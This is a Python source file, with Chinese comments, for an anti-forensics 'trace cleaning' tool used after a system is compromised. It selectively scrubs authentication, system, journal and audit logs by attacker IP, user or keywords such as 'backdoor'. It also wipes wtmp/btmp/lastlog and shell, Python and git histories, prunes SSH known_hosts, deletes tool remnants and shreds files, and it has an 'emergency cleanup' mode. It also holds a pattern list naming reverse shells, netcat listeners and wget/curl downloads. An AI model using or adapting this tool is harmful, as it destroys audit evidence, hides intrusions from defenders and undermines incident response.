#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

全面痕迹清理模块
实现全量日志清理、操作痕迹处理、文件残留清除等功能
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import time
import glob
import shutil
import subprocess
import re
from datetime import datetime, timedelta
from typing import Dict, List, Optional, Tuple




class SystemLogCleaner:
    """系统日志清理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.log_sources = {
            'auth_logs': [
                '/var/log/auth.log',
                '/var/log/secure',
                '/var/log/messages'
            ],
            'system_logs': [
                '/var/log/syslog',
                '/var/log/kern.log',
                '/var/log/daemon.log'
            ],
            'service_logs': [
                '/var/log/cron',
                '/var/log/mail.log',
                '/var/log/apache2/*.log',
                '/var/log/nginx/*.log'
            ],
            'journal_logs': [
                '/var/log/journal',
                '/run/log/journal'
            ],
            'audit_logs': [
                '/var/log/audit/audit.log',
                '/var/log/audit/*.log'
            ]
        }
    
    def clean_authentication_logs(self, target_ip: str = None, target_user: str = None) -> bool:
        """清理认证日志"""
        try:
            print("[*] 清理认证日志...")
            
            for log_file in self.log_sources['auth_logs']:
                if os.path.exists(log_file):
                    self._clean_log_entries(log_file, target_ip, target_user)
            
            print("[+] 认证日志清理完成")
            return True
            
        except Exception as e:
            print("[-] 认证日志清理失败: {}".format(e))
            return False
    
    def clean_system_logs(self, keywords: List[str] = None) -> bool:
        """清理系统日志"""
        try:
            print("[*] 清理系统日志...")
            
            if not keywords:
                keywords = ['backdoor', 'malware', 'suspicious', 'unauthorized']
            
            for log_file in self.log_sources['system_logs']:
                if os.path.exists(log_file):
                    self._remove_keyword_entries(log_file, keywords)
            
            print("[+] 系统日志清理完成")
            return True
            
        except Exception as e:
            print("[-] 系统日志清理失败: {}".format(e))
            return False
    
    def clean_journal_logs(self, service_name: str = None) -> bool:
        """清理systemd journal日志"""
        try:
            print("[*] 清理journal日志...")
            
            # 清理特定服务的日志
            if service_name:
                subprocess.run(['journalctl', '--vacuum-time=1d', "--unit={}".format(service_name)], 
                             stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            
            # 清理所有journal日志（保留最近1天）
            subprocess.run(['journalctl', '--vacuum-time=1d'], 
                         stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            
            # 清理journal文件
            for journal_dir in self.log_sources['journal_logs']:
                if os.path.exists(journal_dir):
                    for journal_file in glob.glob("{}/*/*.journal".format(journal_dir)):
                        try:
                            os.remove(journal_file)
                        except:
                            pass
            
            print("[+] Journal日志清理完成")
            return True
            
        except Exception as e:
            print("[-] Journal日志清理失败: {}".format(e))
            return False
    
    def clean_audit_logs(self, target_pid: int = None) -> bool:
        """清理审计日志"""
        try:
            print("[*] 清理审计日志...")
            
            for log_pattern in self.log_sources['audit_logs']:
                for log_file in glob.glob(log_pattern):
                    if os.path.exists(log_file):
                        if target_pid:
                            self._remove_pid_entries(log_file, target_pid)
                        else:
                            # 清空整个审计日志
                            with open(log_file, 'w') as f:
                                f.write("")
            
            # 重启auditd服务
            try:
                subprocess.run(['systemctl', 'restart', 'auditd'], 
                             stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            except:
                pass
            
            print("[+] 审计日志清理完成")
            return True
            
        except Exception as e:
            print("[-] 审计日志清理失败: {}".format(e))
            return False
    
    def _clean_log_entries(self, log_file: str, target_ip: str = None, target_user: str = None):
        """清理日志条目"""
        try:
            if not os.path.exists(log_file):
                return
            
            # 读取日志文件
            with open(log_file, 'r') as f:
                lines = f.readlines()
            
            # 过滤需要删除的行
            filtered_lines = []
            
            for line in lines:
                should_remove = False
                
                if target_ip and target_ip in line:
                    should_remove = True
                
                if target_user and target_user in line:
                    should_remove = True
                
                # 检查可疑关键词
                suspicious_keywords = ['backdoor', 'malware', 'unauthorized', 'suspicious']
                for keyword in suspicious_keywords:
                    if keyword.lower() in line.lower():
                        should_remove = True
                        break
                
                if not should_remove:
                    filtered_lines.append(line)
            
            # 写回过滤后的内容
            with open(log_file, 'w') as f:
                f.writelines(filtered_lines)
            
        except Exception as e:
            print("[-] 清理日志条目失败 {}: {}".format(log_file, e))
    
    def _remove_keyword_entries(self, log_file: str, keywords: List[str]):
        """移除包含关键词的日志条目"""
        try:
            if not os.path.exists(log_file):
                return
            
            with open(log_file, 'r') as f:
                lines = f.readlines()
            
            filtered_lines = []
            
            for line in lines:
                should_remove = False
                
                for keyword in keywords:
                    if keyword.lower() in line.lower():
                        should_remove = True
                        break
                
                if not should_remove:
                    filtered_lines.append(line)
            
            with open(log_file, 'w') as f:
                f.writelines(filtered_lines)
            
        except Exception as e:
            print("[-] 移除关键词条目失败 {}: {}".format(log_file, e))
    
    def _remove_pid_entries(self, log_file: str, target_pid: int):
        """移除特定PID的日志条目"""
        try:
            if not os.path.exists(log_file):
                return
            
            with open(log_file, 'r') as f:
                lines = f.readlines()
            
            filtered_lines = []
            pid_pattern = re.compile(r"\bpid={}\b".format(target_pid))
            
            for line in lines:
                if not pid_pattern.search(line):
                    filtered_lines.append(line)
            
            with open(log_file, 'w') as f:
                f.writelines(filtered_lines)
            
        except Exception as e:
            print("[-] 移除PID条目失败 {}: {}".format(log_file, e))

class OperationTraceCleaner:
    """操作痕迹清理器"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def clean_command_history(self) -> bool:
        """清理命令历史"""
        try:
            print("[*] 清理命令历史...")
            
            # 清理bash历史
            history_files = [
                os.path.expanduser('~/.bash_history'),
                os.path.expanduser('~/.zsh_history'),
                os.path.expanduser('~/.history'),
                '/root/.bash_history',
                '/root/.zsh_history'
            ]
            
            for history_file in history_files:
                if os.path.exists(history_file):
                    # 备份原始文件
                    backup_file = "{}.backup".format(history_file)
                    shutil.copy2(history_file, backup_file)
                    
                    # 清理可疑命令
                    self._clean_suspicious_commands(history_file)
            
            # 清理当前会话历史
            os.system('history -c')
            os.system('history -w')
            
            print("[+] 命令历史清理完成")
            return True
            
        except Exception as e:
            print("[-] 命令历史清理失败: {}".format(e))
            return False
    
    def clean_git_traces(self) -> bool:
        """清理Git操作痕迹"""
        try:
            print("[*] 清理Git痕迹...")
            
            # 清理全局Git配置
            git_config_files = [
                os.path.expanduser('~/.gitconfig'),
                '/root/.gitconfig'
            ]
            
            for config_file in git_config_files:
                if os.path.exists(config_file):
                    # 移除可疑的仓库配置
                    self._clean_git_config(config_file)
            
            # 清理Git历史记录
            git_dirs = []
            
            # 查找所有.git目录
            for root, dirs, files in os.walk('/'):
                if '.git' in dirs:
                    git_dirs.append(os.path.join(root, '.git'))
                # 限制搜索深度，避免过长时间
                if root.count(os.sep) > 5:
                    dirs.clear()
            
            for git_dir in git_dirs:
                self._clean_git_history(git_dir)
            
            print("[+] Git痕迹清理完成")
            return True
            
        except Exception as e:
            print("[-] Git痕迹清理失败: {}".format(e))
            return False
    
    def clean_python_traces(self) -> bool:
        """清理Python执行痕迹"""
        try:
            print("[*] 清理Python痕迹...")
            
            # 清理Python缓存
            cache_patterns = [
                '**/__pycache__',
                '**/*.pyc',
                '**/*.pyo',
                '**/*.pyd'
            ]
            
            for pattern in cache_patterns:
                for cache_file in glob.glob(pattern, recursive=True):
                    try:
                        if os.path.isfile(cache_file):
                            os.remove(cache_file)
                        elif os.path.isdir(cache_file):
                            shutil.rmtree(cache_file)
                    except:
                        pass
            
            # 清理pip缓存
            pip_cache_dirs = [
                os.path.expanduser('~/.cache/pip'),
                '/root/.cache/pip'
            ]
            
            for cache_dir in pip_cache_dirs:
                if os.path.exists(cache_dir):
                    shutil.rmtree(cache_dir, ignore_errors=True)
            
            # 清理Python历史
            python_history_files = [
                os.path.expanduser('~/.python_history'),
                '/root/.python_history'
            ]
            
            for history_file in python_history_files:
                if os.path.exists(history_file):
                    os.remove(history_file)
            
            print("[+] Python痕迹清理完成")
            return True
            
        except Exception as e:
            print("[-] Python痕迹清理失败: {}".format(e))
            return False
    
    def clean_network_traces(self) -> bool:
        """清理网络连接痕迹"""
        try:
            print("[*] 清理网络痕迹...")
            
            # 清理网络配置历史
            network_files = [
                '/var/log/wtmp',
                '/var/log/btmp',
                '/var/log/lastlog'
            ]
            
            for net_file in network_files:
                if os.path.exists(net_file):
                    # 清空文件而不删除（保持文件存在）
                    with open(net_file, 'w') as f:
                        f.write("")
            
            # 清理SSH known_hosts
            ssh_files = [
                os.path.expanduser('~/.ssh/known_hosts'),
                '/root/.ssh/known_hosts'
            ]
            
            for ssh_file in ssh_files:
                if os.path.exists(ssh_file):
                    self._clean_ssh_known_hosts(ssh_file)
            
            print("[+] 网络痕迹清理完成")
            return True
            
        except Exception as e:
            print("[-] 网络痕迹清理失败: {}".format(e))
            return False
    
    def _clean_suspicious_commands(self, history_file: str):
        """清理可疑命令"""
        try:
            with open(history_file, 'r') as f:
                lines = f.readlines()
            
            suspicious_patterns = [
                r'.*backdoor.*',
                r'.*malware.*',
                r'.*exploit.*',
                r'.*payload.*',
                r'.*reverse.*shell.*',
                r'.*nc.*-l.*',
                r'.*python.*-c.*exec.*',
                r'.*base64.*decode.*',
                r'.*wget.*http.*',
                r'.*curl.*http.*'
            ]
            
            filtered_lines = []
            
            for line in lines:
                should_remove = False
                
                for pattern in suspicious_patterns:
                    if re.search(pattern, line, re.IGNORECASE):
                        should_remove = True
                        break
                
                if not should_remove:
                    filtered_lines.append(line)
            
            with open(history_file, 'w') as f:
                f.writelines(filtered_lines)
            
        except Exception as e:
            print("[-] 清理可疑命令失败: {}".format(e))
    
    def _clean_git_config(self, config_file: str):
        """清理Git配置"""
        try:
            with open(config_file, 'r') as f:
                content = f.read()
            
            # 移除可疑的远程仓库配置
            suspicious_domains = ['github.com', 'gitlab.com', 'bitbucket.org']
            
            lines = content.split('\n')
            filtered_lines = []
            
            skip_section = False
            
            for line in lines:
                if line.strip().startswith('[remote'):
                    # 检查是否为可疑远程仓库
                    skip_section = any(domain in line for domain in suspicious_domains)
                
                if line.strip().startswith('[') and not line.strip().startswith('[remote'):
                    skip_section = False
                
                if not skip_section:
                    filtered_lines.append(line)
            
            with open(config_file, 'w') as f:
                f.write('\n'.join(filtered_lines))
            
        except Exception as e:
            print("[-] 清理Git配置失败: {}".format(e))
    
    def _clean_git_history(self, git_dir: str):
        """清理Git历史"""
        try:
            # 清理Git日志
            git_logs_dir = os.path.join(git_dir, 'logs')
            if os.path.exists(git_logs_dir):
                shutil.rmtree(git_logs_dir, ignore_errors=True)
            
            # 清理引用日志
            refs_dir = os.path.join(git_dir, 'logs', 'refs')
            if os.path.exists(refs_dir):
                shutil.rmtree(refs_dir, ignore_errors=True)
            
        except Exception as e:
            print("[-] 清理Git历史失败: {}".format(e))
    
    def _clean_ssh_known_hosts(self, known_hosts_file: str):
        """清理SSH known_hosts"""
        try:
            with open(known_hosts_file, 'r') as f:
                lines = f.readlines()
            
            # 移除可疑的主机条目
            suspicious_ips = ['192.168.', '10.', '172.']
            
            filtered_lines = []
            
            for line in lines:
                should_remove = False
                
                for suspicious_ip in suspicious_ips:
                    if suspicious_ip in line:
                        should_remove = True
                        break
                
                if not should_remove:
                    filtered_lines.append(line)
            
            with open(known_hosts_file, 'w') as f:
                f.writelines(filtered_lines)
            
        except Exception as e:
            print("[-] 清理SSH known_hosts失败: {}".format(e))

class FileRemnantCleaner:
    """文件残留清理器"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def clean_temporary_files(self) -> bool:
        """清理临时文件"""
        try:
            print("[*] 清理临时文件...")
            
            temp_dirs = [
                '/tmp',
                '/var/tmp',
                '/dev/shm'
            ]
            
            for temp_dir in temp_dirs:
                if os.path.exists(temp_dir):
                    self._clean_directory_contents(temp_dir)
            
            print("[+] 临时文件清理完成")
            return True
            
        except Exception as e:
            print("[-] 临时文件清理失败: {}".format(e))
            return False
    
    def clean_tool_remnants(self, tool_patterns: List[str] = None) -> bool:
        """清理工具残留"""
        try:
            print("[*] 清理工具残留...")
            
            if not tool_patterns:
                tool_patterns = [
                    '*backdoor*',
                    '*payload*',
                    '*exploit*',
                    '*malware*',
                    'logo.txt',
                    'check.py',
                    '*.pyc',
                    '__pycache__'
                ]
            
            # 在常见目录中搜索并删除工具文件
            search_dirs = [
                '/root',
                '/home',
                '/tmp',
                '/var/tmp',
                '/opt'
            ]
            
            for search_dir in search_dirs:
                if os.path.exists(search_dir):
                    self._remove_matching_files(search_dir, tool_patterns)
            
            print("[+] 工具残留清理完成")
            return True
            
        except Exception as e:
            print("[-] 工具残留清理失败: {}".format(e))
            return False
    
    def clean_download_traces(self) -> bool:
        """清理下载痕迹"""
        try:
            print("[*] 清理下载痕迹...")
            
            # 清理wget日志
            wget_log = os.path.expanduser('~/.wget-hsts')
            if os.path.exists(wget_log):
                os.remove(wget_log)
            
            # 清理curl配置
            curl_config = os.path.expanduser('~/.curlrc')
            if os.path.exists(curl_config):
                os.remove(curl_config)
            
            # 清理浏览器下载记录（如果存在）
            browser_dirs = [
                os.path.expanduser('~/.mozilla'),
                os.path.expanduser('~/.config/google-chrome'),
                os.path.expanduser('~/.config/chromium')
            ]
            
            for browser_dir in browser_dirs:
                if os.path.exists(browser_dir):
                    # 清理下载历史
                    download_files = glob.glob("{}/**/Downloads".format(browser_dir), recursive=True)
                    for download_file in download_files:
                        if os.path.isfile(download_file):
                            os.remove(download_file)
            
            print("[+] 下载痕迹清理完成")
            return True
            
        except Exception as e:
            print("[-] 下载痕迹清理失败: {}".format(e))
            return False
    
    def secure_delete_files(self, file_paths: List[str]) -> bool:
        """安全删除文件"""
        try:
            print("[*] 安全删除文件...")
            
            for file_path in file_paths:
                if os.path.exists(file_path):
                    self._secure_delete(file_path)
            
            print("[+] 文件安全删除完成")
            return True
            
        except Exception as e:
            print("[-] 安全删除失败: {}".format(e))
            return False
    
    def _clean_directory_contents(self, directory: str):
        """清理目录内容"""
        try:
            for root, dirs, files in os.walk(directory):
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        # 检查文件是否可疑
                        if self._is_suspicious_file(file_path):
                            os.remove(file_path)
                    except:
                        pass
        except Exception as e:
            print("[-] 清理目录内容失败 {}: {}".format(directory, e))
    
    def _remove_matching_files(self, search_dir: str, patterns: List[str]):
        """移除匹配模式的文件"""
        try:
            for pattern in patterns:
                for file_path in glob.glob(os.path.join(search_dir, '**', pattern), recursive=True):
                    try:
                        if os.path.isfile(file_path):
                            os.remove(file_path)
                        elif os.path.isdir(file_path):
                            shutil.rmtree(file_path, ignore_errors=True)
                    except:
                        pass
        except Exception as e:
            print("[-] 移除匹配文件失败: {}".format(e))
    
    def _is_suspicious_file(self, file_path: str) -> bool:
        """检查文件是否可疑"""
        suspicious_keywords = [
            'backdoor', 'payload', 'exploit', 'malware',
            'reverse', 'shell', 'trojan', 'virus'
        ]
        
        file_name = os.path.basename(file_path).lower()
        
        for keyword in suspicious_keywords:
            if keyword in file_name:
                return True
        
        return False
    
    def _secure_delete(self, file_path: str):
        """安全删除单个文件"""
        try:
            if os.path.isfile(file_path):
                # 多次覆写文件内容
                file_size = os.path.getsize(file_path)
                
                with open(file_path, 'r+b') as f:
                    # 用随机数据覆写3次
                    for _ in range(3):
                        f.seek(0)
                        f.write(os.urandom(file_size))
                        f.flush()
                        os.fsync(f.fileno())
                
                # 删除文件
                os.remove(file_path)
            
            elif os.path.isdir(file_path):
                shutil.rmtree(file_path, ignore_errors=True)
                
        except Exception as e:
            print("[-] 安全删除文件失败 {}: {}".format(file_path, e))

class ComprehensiveTraceCleaner:
    """全面痕迹清理管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.system_log_cleaner = SystemLogCleaner(config)
        self.operation_trace_cleaner = OperationTraceCleaner(config)
        self.file_remnant_cleaner = FileRemnantCleaner(config)
    
    def execute_comprehensive_cleaning(self, target_ip: str = None, target_user: str = None) -> Dict[str, bool]:
        """执行全面清理"""
        results = {}
        
        print("\n[*] 开始全面痕迹清理...")
        
        # 1. 清理系统日志
        print("\n[*] === 系统日志清理 ===")
        results['auth_logs'] = self.system_log_cleaner.clean_authentication_logs(target_ip, target_user)
        results['system_logs'] = self.system_log_cleaner.clean_system_logs()
        results['journal_logs'] = self.system_log_cleaner.clean_journal_logs()
        results['audit_logs'] = self.system_log_cleaner.clean_audit_logs()
        
        # 2. 清理操作痕迹
        print("\n[*] === 操作痕迹清理 ===")
        results['command_history'] = self.operation_trace_cleaner.clean_command_history()
        results['git_traces'] = self.operation_trace_cleaner.clean_git_traces()
        results['python_traces'] = self.operation_trace_cleaner.clean_python_traces()
        results['network_traces'] = self.operation_trace_cleaner.clean_network_traces()
        
        # 3. 清理文件残留
        print("\n[*] === 文件残留清理 ===")
        results['temp_files'] = self.file_remnant_cleaner.clean_temporary_files()
        results['tool_remnants'] = self.file_remnant_cleaner.clean_tool_remnants()
        results['download_traces'] = self.file_remnant_cleaner.clean_download_traces()
        
        print("\n[+] 全面痕迹清理完成")
        return results
    
    def emergency_cleanup(self) -> bool:
        """紧急清理模式"""
        try:
            print("\n[!] 启动紧急清理模式...")
            
            # 快速清理关键痕迹
            critical_files = [
                '/var/log/auth.log',
                '/var/log/secure',
                '/var/log/syslog',
                os.path.expanduser('~/.bash_history'),
                '/root/.bash_history'
            ]
            
            for file_path in critical_files:
                if os.path.exists(file_path):
                    with open(file_path, 'w') as f:
                        f.write("")
            
            # 清理当前目录的工具文件
            current_dir = os.getcwd()
            tool_files = ['logo.txt', 'check.py', '*.pyc']
            
            for pattern in tool_files:
                for file_path in glob.glob(os.path.join(current_dir, pattern)):
                    try:
                        os.remove(file_path)
                    except:
                        pass
            
            # 清理命令历史
            os.system('history -c')
            
            print("[+] 紧急清理完成")
            return True
            
        except Exception as e:
            print("[-] 紧急清理失败: {}".format(e))
            return False
    
    def generate_cleaning_report(self, results: Dict[str, bool]) -> str:
        """生成清理报告"""
        report = "\n=== 痕迹清理报告 ===\n"
        
        categories = {
            '系统日志清理': ['auth_logs', 'system_logs', 'journal_logs', 'audit_logs'],
            '操作痕迹清理': ['command_history', 'git_traces', 'python_traces', 'network_traces'],
            '文件残留清理': ['temp_files', 'tool_remnants', 'download_traces']
        }
        
        for category, items in categories.items():
            report += "\n{}:\n".format(category)
            
            for item in items:
                status = "✓" if results.get(item, False) else "✗"
                report += "  {} {}\n".format(status, item)
        
        # 统计
        total_items = len(results)
        successful_items = sum(1 for success in results.values() if success)
        
        report += "\n总计: {}/{} 项清理成功\n".format(successful_items, total_items)
        
        return report

def main():
    """主函数"""
    config = {
        'comprehensive_cleaning': True,
        'secure_delete': True,
        'emergency_mode': False
    }
    
    cleaner = ComprehensiveTraceCleaner(config)
    
    print("=== 全面痕迹清理工具 ===")
    print("1. 执行全面清理")
    print("2. 紧急清理模式")
    print("3. 清理系统日志")
    print("4. 清理操作痕迹")
    print("5. 清理文件残留")
    
    choice = input("请选择操作: ")
    
    if choice == "1":
        target_ip = input("目标IP (可选): ").strip() or None
        target_user = input("目标用户 (可选): ").strip() or None
        
        results = cleaner.execute_comprehensive_cleaning(target_ip, target_user)
        report = cleaner.generate_cleaning_report(results)
        print(report)
    
    elif choice == "2":
        cleaner.emergency_cleanup()
    
    elif choice == "3":
        target_ip = input("目标IP (可选): ").strip() or None
        target_user = input("目标用户 (可选): ").strip() or None
        
        cleaner.system_log_cleaner.clean_authentication_logs(target_ip, target_user)
        cleaner.system_log_cleaner.clean_system_logs()
        cleaner.system_log_cleaner.clean_journal_logs()
        cleaner.system_log_cleaner.clean_audit_logs()
    
    elif choice == "4":
        cleaner.operation_trace_cleaner.clean_command_history()
        cleaner.operation_trace_cleaner.clean_git_traces()
        cleaner.operation_trace_cleaner.clean_python_traces()
        cleaner.operation_trace_cleaner.clean_network_traces()
    
    elif choice == "5":
        cleaner.file_remnant_cleaner.clean_temporary_files()
        cleaner.file_remnant_cleaner.clean_tool_remnants()
        cleaner.file_remnant_cleaner.clean_download_traces()
    
    else:
        print("无效选择")

if __name__ == "__main__":
    main()